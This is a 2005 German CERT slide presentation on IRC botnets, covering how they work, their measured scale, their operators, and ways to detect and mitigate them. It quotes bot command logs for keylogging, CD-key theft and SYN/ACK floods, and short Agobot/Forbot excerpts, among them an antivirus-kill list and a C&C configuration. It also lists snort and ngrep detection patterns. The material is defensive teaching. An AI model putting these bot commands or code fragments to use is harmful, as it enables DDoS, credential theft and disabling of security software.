Tom Fischer - DFN-CERT

Transcrição

Tom Fischer - DFN-CERT
RUS - CERT
Botnets
http://cert.uni-stuttgart.de/
Tom Fischer
Beispiele aus der Presse
http://news .zdnet.co.uk/internet/security/0,39020375,39169461,00.htm
http://www.guardian.co.uk/russia/article/0,2763,1237083,00.html
http://news .zdnet.co.uk/internet/security/0,39020375,39172864,00.htm
2
Tom Fischer
http://cert.uni-stuttgart.de/
RUS-CERT
© 2005
Was ist ein Botnetz?
Ausgangslage:
• Armee von kompromittierten Systemen
(Bots)
• command & control (c&c)
zumeist Internet Relay Chat
(IRC) basiert
Ziel:
• Fun
• Profit (SPAM, Distributed Denial of
Service (DDoS), Phishing, Verteilung von
(neuer) Malware, ...)
IRC-Server
c&c
Bots
Angreifer
Kontroll-Kanal
(mit Channel-Namen und Passwort)
siehe auch http://cert.uni-stuttgart.de/doc/netsec/bots.php
3
Tom Fischer
http://cert.uni-stuttgart.de/
RUS-CERT
© 2005
Was ist ein Botnetz?
connect y0u-4re.own3d-by.us 6667
Bot
(TCP/135)
DCOM SCAN
join #0# <channel key>
.advscan dcom135 150 0 999 -b -r
.advscan dcom135 150 0 999 -b -r
IRC-Server
Angreifer
(Botnet-Op)
4
Tom Fischer
http://cert.uni-stuttgart.de/
RUS-CERT
© 2005
Funktionsumfang
• Schwachstellenscan
typische Exploitcodes sind z.B.
– LSASS (MS04-011) (TCP/445)
– RPC-DCOM (MS03-039) (TCP/135, TCP/445, TCP/1025)
– Accounts mit Trivialpasswörtern (via NetBIOS aber auch SSH)
– aktuell z.B. Backupsoftware ala CA BrightStor ARCserve (TCP/41523),
Arkeia Backup Client (TCP/617), Veritas Backup Exec (TCP/6101),
Veritas NetBackup (TCP/13701)
– u.v.a. (siehe z.B. www.k-otik.com, metasploit.com)
• Verschiedene DDoS-Angriffsvarianten
– SYN-, ACK-, UDP-,HTTP-, ICMP-Flood ...
5
Tom Fischer
http://cert.uni-stuttgart.de/
RUS-CERT
© 2005
Funktionsumfang
•
•
•
•
•
•
•
•
•
•
Herunterladen (und Ausführen) von Dateien (z.B. via HTTP oder FTP)
Keylogger und Netzwerksniffer
Versenden von E-Mails (SPAM)
Auslesen von CD-Keys, E-Mail-Adressen, Passwörtern, ...
Backdoors (z.B. HTTP-Server) oder Proxy-Server (z.B. socks)
DCOM-Einstellungen, Freigaben, ...
Deaktivierung von Anti-Virensoftware (incl. Änderung der hosts-Datei)
Upload von Dateien (z.B. via HTTP oder FTP)
Screenshots bzw. Webcam-Images anfertigen
...
6
Tom Fischer
http://cert.uni-stuttgart.de/
RUS-CERT
© 2005
Beispiele
<@B|LLA> .getcdkeys
< xTBx|7482> Microsoft Windows Product ID:
(XXXXX-XXX-XXXXXXX-XXXXX).
< xTBx|6204> Half-Life CD Key:
(XXXXXXXXXXXXX).
<@Junior> .keylog on
[PNC]UrXbot-55198> [KEYLOG]: (Changed Windows:
Google - Microsoft Internet Explorer)
[PNC]UrXbot-55198> [KEYLOG]: abazada (Return)
(Serveur introuvable - Microsoft
Internet Explorer)
< corrupt> .login funstomp
< corrupt> .tcpflood syn xxx.xxx.xxx.xxx 80 140 –r
< corrupt> .ddos.ack xxx.xxx.xxx.xxx 80 60
< to3e7> FTP sniff "xxx.xxx.xxx.xxx:4632" to "xxx.xxx.xxx.xxx:2001": - "USER nal"
< to3e7> FTP sniff "xxx.xxx.xxx.xxx:4632" to "xxx.xxx.xxx.xxx:2001": - "PASS adri"
7
Tom Fischer
http://cert.uni-stuttgart.de/
RUS-CERT
© 2005
Übersicht
• Basierend auf den für Agobot/Phatbot typischen POST-Requests (die
zur Bandbreitenmessung dienen) hat das RUS-CERT im Mai 2004 mehr
als 300,000 unterschiedliche IP-Adressen (d.h. Bots) pro Tag
detektiert.
• Innerhalb von 5 Monaten hat das RUS-CERT mehr als 350
unterschiedliche Botnetz-Server IP-Adressen detektiert. Diese
Botnetz-Server gehörten zu ca. 200 unterschiedlichen Botnetzen. Die
durchschnittliche Größe der Botnetze lag bei ca. 5000 Bots pro Botnetz.
• Das größte Botnetz bestand dabei aus einem Verbund aus mehr als 50
IRC-Servern und ca. 100,000 Bots
8
Tom Fischer
http://cert.uni-stuttgart.de/
RUS-CERT
© 2005
Tom Fischer
http://cert.uni-stuttgart.de/
14.02.2005
31.01.2005
17.01.2005
03.01.2005
20.12.2004
06.12.2004
22.11.2004
08.11.2004
25.10.2004
11.10.2004
27.09.2004
13.09.2004
30.08.2004
16.08.2004
02.08.2004
19.07.2004
05.07.2004
21.06.2004
07.06.2004
24.05.2004
10.05.2004
26.04.2004
unique IP addresses per day
(Lang-)Zeitverhalten
W32/Bagle.aa@MM (NAI)
source: RUS-CERT
250000
200000
150000
100000
50000
0
9
RUS-CERT
© 2005
Wie detektiert man
Bots/Bot-Controller?
• Flow-Monitoring
– Flows durch Scans nach verwundbaren Systemen
host
| targets | flows | protocol | dst_port
----------------+---------+-------+----------+---------129.69.xxx.xxx |
4720 | 4721 |
6 |
445
129.69.xxx.xxx |
4719 | 9439 |
6 |
139
Für bot-typische Zielports und Exploits siehe z.B:
http://cert.uni-stuttgart.de/doc/netsec/bots.php
– Flows durch Verbindungen zu Bot-Controllern (IRC-Servern) oder zu Systemen
die der Bandbreitenmessung dienen
10
Tom Fischer
http://cert.uni-stuttgart.de/
RUS-CERT
© 2005
Wie detektiert man
Bots/Bot-Controller?
• c&c-Kommunikation via NIDS detektieren
snort:
alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"BLEEDING-EDGE TROJAN IRC Bot scan/exploit
command"; pcre:"/(ntscan [0-9]{1,4} [0-9]{1,4}|dcom\.self|scan\.(start|stop)|!scan [0-9]
{1,3}\.[0-9]{1,3}| (advscan|asc|xscan|xploit|adv\.start) (webdav|netbios|ntpass|
dcom(2|135|445|1025)|mssql|lsass|optix|upnp|dcass|beagle[12]|mydoom|netdevil|DameWare|kuang2|
sub7|iis5ssl|wkssvc|mysql|wkssvcOth|wkssvcENG|arkeia|arcserve|wins|veritas|netbackup))/i";
flow:established; classtype:trojan-activity; reference:url,cert.uni-stuttgart.de/doc/
netsec/bots.php; sid:2001787; rev:2;)
ngrep:
ngrep -l -q -t -i '(tcp|udp|ping|icmp)flood ([0-9]{1,3}\.){3}[0-9]
{1,3}|syn ([0-9]{1,3}\.){3}[0-9]{1,3}|ddos\.(httpflood|phaticmp|phatsyn|
phatwonk|stop|synflood|targa3|udpflood|syn|ack|random)|(xscan|advscan|
xploit|asc|adv\.start) (webdav|netbios|ntpass|dcass|dcom(2|135|
445|1025)|mssql|mysql|lsass|optix|dameware|arkeia|arcserve|wins|veritas|
netbackup|upnp|sasser)|scan\.(stop|start|disable|enable|clearnetranges|
resetnetranges|listnetranges|delnetrange|addnetrange)'
11
Tom Fischer
http://cert.uni-stuttgart.de/
RUS-CERT
© 2005
Wie detektiert man
Bots/Bot-Controller?
• Domain Name System (DNS) Records ermitteln
z.B. via ngrep
#ngrep -q -t '\x81\x45\x10\x14' port 53
Passive DNS replication:
http://cert.uni-stuttgart.de/stats/
dns-replication.php
• DNS-Anfragen auf zentralen DNS-Servern protokollieren
12
Tom Fischer
http://cert.uni-stuttgart.de/
RUS-CERT
© 2005
DNS RRs
Abuse-Handling
• Zumeist dynamic DNS Provider
+
-
dyndns.org
afraid.org
no-ip.com
...
zoneedit.com
hn.org
Einige DNS Provider haben keine
Abuse-Handling-Ressourcen bzw.
Angst vor Vergeltung (DDoS).
Es kann auch nicht ausgeschlossen werden,
dass einige Provider dies willentlich tolerieren.
• missbrauchte/kompromittierte NS
13
Tom Fischer
http://cert.uni-stuttgart.de/
RUS-CERT
© 2005
Sourcecode Beispiel:
Agobot/Phatbot
void CSpeedTest::Init()
{
REGCMD(m_cmdSpeedTest, "http.speedtest",
"Speed Test to
see how fast the bot.",
false, this);
}
bool CSpeedTest::HandleCommand(CMessage *pMsg)
{
if(!pMsg->sCmd.Compare("http.speedtest"))
{
DoSpeedTest(&m_speedData);
m_bDataSet=true;
...
14
Tom Fischer
http://cert.uni-stuttgart.de/
RUS-CERT
© 2005
Sourcecode Beispiel:
Forbot
void CSpeedTest::Init()
{
g_cMainCtrl.m_cCommands.RegisterCommand(&m_cmdSpeedTest,
dp(2,79,19,16,5,5,4,20,5,19,20,0),
this);
}
bool CSpeedTest::HandleCommand(CMessage *pMsg)
{
if(!pMsg->sCmd.Compare(m_cmdSpeedTest.sName.Str()))
{
DoSpeedTest(&m_speedData);
m_bDataSet=true;
...
15
Tom Fischer
http://cert.uni-stuttgart.de/
RUS-CERT
© 2005
Sourcecode Beispiel:
Forbot
*/
in_addr &to_in_addr(unsigned long lHost)
{
static in_addr ina; ina.s_addr=lHost; return ina; }
/*
This kills all active Antivirus processes that match
Thanks to FSecure's Bugbear.B analysis @
http://www.f-secure.com/v-descs/bugbear_b.shtml
*/
/*
void KillAV()
{
#ifdef WIN32
const char *szFilenamesToKill[455] = {
"ACKWIN32.EXE", "ADVXDWIN.EXE", "AGENTSVR.EXE",
"ALERTSVC.EXE", "ALOGSERV.EXE", "AMON9X.EXE",
...
16
Tom Fischer
http://cert.uni-stuttgart.de/
RUS-CERT
© 2005
Triviale Bot Konfiguration
unsigned short port = 6667; // first server port
char password[] = "12345610"; // bot password
char server[] = "irc.example.com"; // primary IRC server
char serverpass[] = ""; // IRC server password
char channel[] = "#mybot"; // bot channel
char chanpass[] = "secret"; // channel key
char filename[] = "taskmgr.exe"; // bot file name
char keylogfile[] = "Logz.txt"; // keylogger file name
char valuename[] = "Task manager"; // registry key name
17
Tom Fischer
http://cert.uni-stuttgart.de/
RUS-CERT
© 2005
neue Herausforderungen
• DNS RRs werden bei DNS-Providern gehostet die sich nicht darum
kümmern
• Fallback auf “normale” IRC-Server (z.B. irc.undernet.org)
• Verschleierung bzw. Verschlüssung der c&c Kommunikation
• IPv6 Netzwerke
• nicht-IRC basiertes c&c (z.B. via AIM oder P2P)
18
Tom Fischer
http://cert.uni-stuttgart.de/
RUS-CERT
© 2005
Wer steckt hinter einem
Botnetz?
• Script-Kiddies
Botnetze sind “in”, Sourcecode oftmals allgemein zugänglich,
neue Botvarianten und Botnetze sind Tauschware
Ziel: Just for fun, IRC-Krieg (DDoS)
Skill: Haben oftmals keine Ahnung von der Syntax, Streitereien um
Botnetze („geh weg, ist mein Botnetz ...“), teilweise auffälliges
Scanverhalten (scan all) und wenig gesicherte Netze (kein ChannelPasswort, keine Überwachung, wenig IRC-Kenntnisse)
19
Tom Fischer
http://cert.uni-stuttgart.de/
RUS-CERT
© 2005
Wer steckt hinter einem
Botnetz?
• (Organisierte) (Cracker-)Crews
Diskussion, Botentwicklung teilweise halböffentlich
(z.B. irc.rizon.net, Webforen)
Ziel: Eigene Crew promoten (Coolness, Credits), Tauschware,
Kleinkrieg, Warez-Plattform
• Professionelle Crews
Kleine unauffällige, über-/bewachte Botnetze
Ziel: Cash (via Spam, DDoS, Information Warfare), Tauschware (z.B.
gegen Kreditkarten, offene BGP-Netzknoten)
20
Tom Fischer
http://cert.uni-stuttgart.de/
RUS-CERT
© 2005
Nutzer-Themen
• Virenscanner erkennen aktuelle Botvarianten oftmals nicht bzw. sind
nicht in der Lage alle Systemänderungen rückgängig zu machen (z.B.
eingerichtete Freigaben, ...)
• Keylogger-Problematik
• Netzwerksniffer-Problematik
• zwanghafte Plausibilitätsfindung (Hemmschwelle, Verdrängung,
Verharmlosung)
• Neuinstallation ist schwer zu vermitteln
• Gefahr der Neuinfektion beim Online-Update
21
Tom Fischer
http://cert.uni-stuttgart.de/
RUS-CERT
© 2005
Mildernde Faktoren
•
•
•
•
•
•
Ein- und ausgehende Filter
Rate-Limits
Anti-Spoofing-Filter
Monitoring (Flow-Erfassung und Auswertung, ...)
Härtung der Endsysteme (Windows XP SP2, ...)
...
22
Tom Fischer
http://cert.uni-stuttgart.de/
RUS-CERT
© 2005
Fragen?

Documentos relacionados